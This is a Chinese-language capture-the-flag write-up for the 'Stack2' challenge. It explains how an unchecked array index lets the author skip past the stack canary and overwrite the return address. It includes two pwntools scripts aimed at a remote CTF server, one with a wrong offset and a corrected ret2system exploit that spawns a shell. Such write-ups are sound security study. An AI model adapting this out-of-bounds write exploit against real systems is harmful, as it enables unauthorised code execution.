Stack2
这题废话很多,说白了就一个数组越界的漏洞可以利用,没有对下标v5做限定,所以可以利用数组越界,直接越过canary,利用留下的后门getshell
刚开始看ida以为位移是0x74所以exp如下
from pwn import *
p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'
hackhere = [0x9b, 0x85, 0x04, 0x08]
write_offset = 0x74
def change_number(offset, value):
p.sendlineafter(b'5. exit\n', b'3')
p.sendlineafter(b'which number to change:', str(offset).encode())
p.sendlineafter(b'new number:', str(value).encode())
p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')
for i in range(4):
change_number(write_offset+i, hackhere[i])
p.sendlineafter(b'5. exit\n', b'5')
p.interactive()
然而没啥用
最后从ida知道ret之前的lea指令对栈帧做了调整,所以进gdb调试一下
断点下在shownum那里,然后输入数字7,然后n一步步向下看,发现eax使我们输入的数字,edx指向我们输入的7,所以edx的地址是数组首地址,为0xffffd148
然后重新来一遍,把断点下到0x080488EF,也就是lea指令
发现lea指令完之后会给esp加0x10,然后我们n一下,执行一条指令看看
发现esp变成了0xffffd1cc,确实加了0x10
也就是0xffffd1cc -0xffffd148 = 0x84,比原来的偏移多了0x10,果然是lea指令调整了栈帧
然后就可以写exp了,不过发现这个后门用不了,不信你可以试试看,会发现找不到bash,但是有字符sh可以让我们查找
我们用第一个0x08048987就行了,然后system函数也存在,所以可以getshell
然后可以写exp了,要注意小端存储还有x86下的参数位置
from pwn import *
p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'
system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08] # 0x08048987
write_offset = 0x84
def change_number(offset, value):
p.sendlineafter(b'5. exit\n', b'3')
p.sendlineafter(b'which number to change:', str(offset).encode())
p.sendlineafter(b'new number:', str(value).encode())
p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')
for i in range(4):
change_number(write_offset+i, system_addr[i])
write_offset += 8
for i in range(4):
change_number(write_offset+i, sh_addr[i])
p.sendlineafter(b'5. exit\n', b'5')
p.interactive()
然后就拿到flag了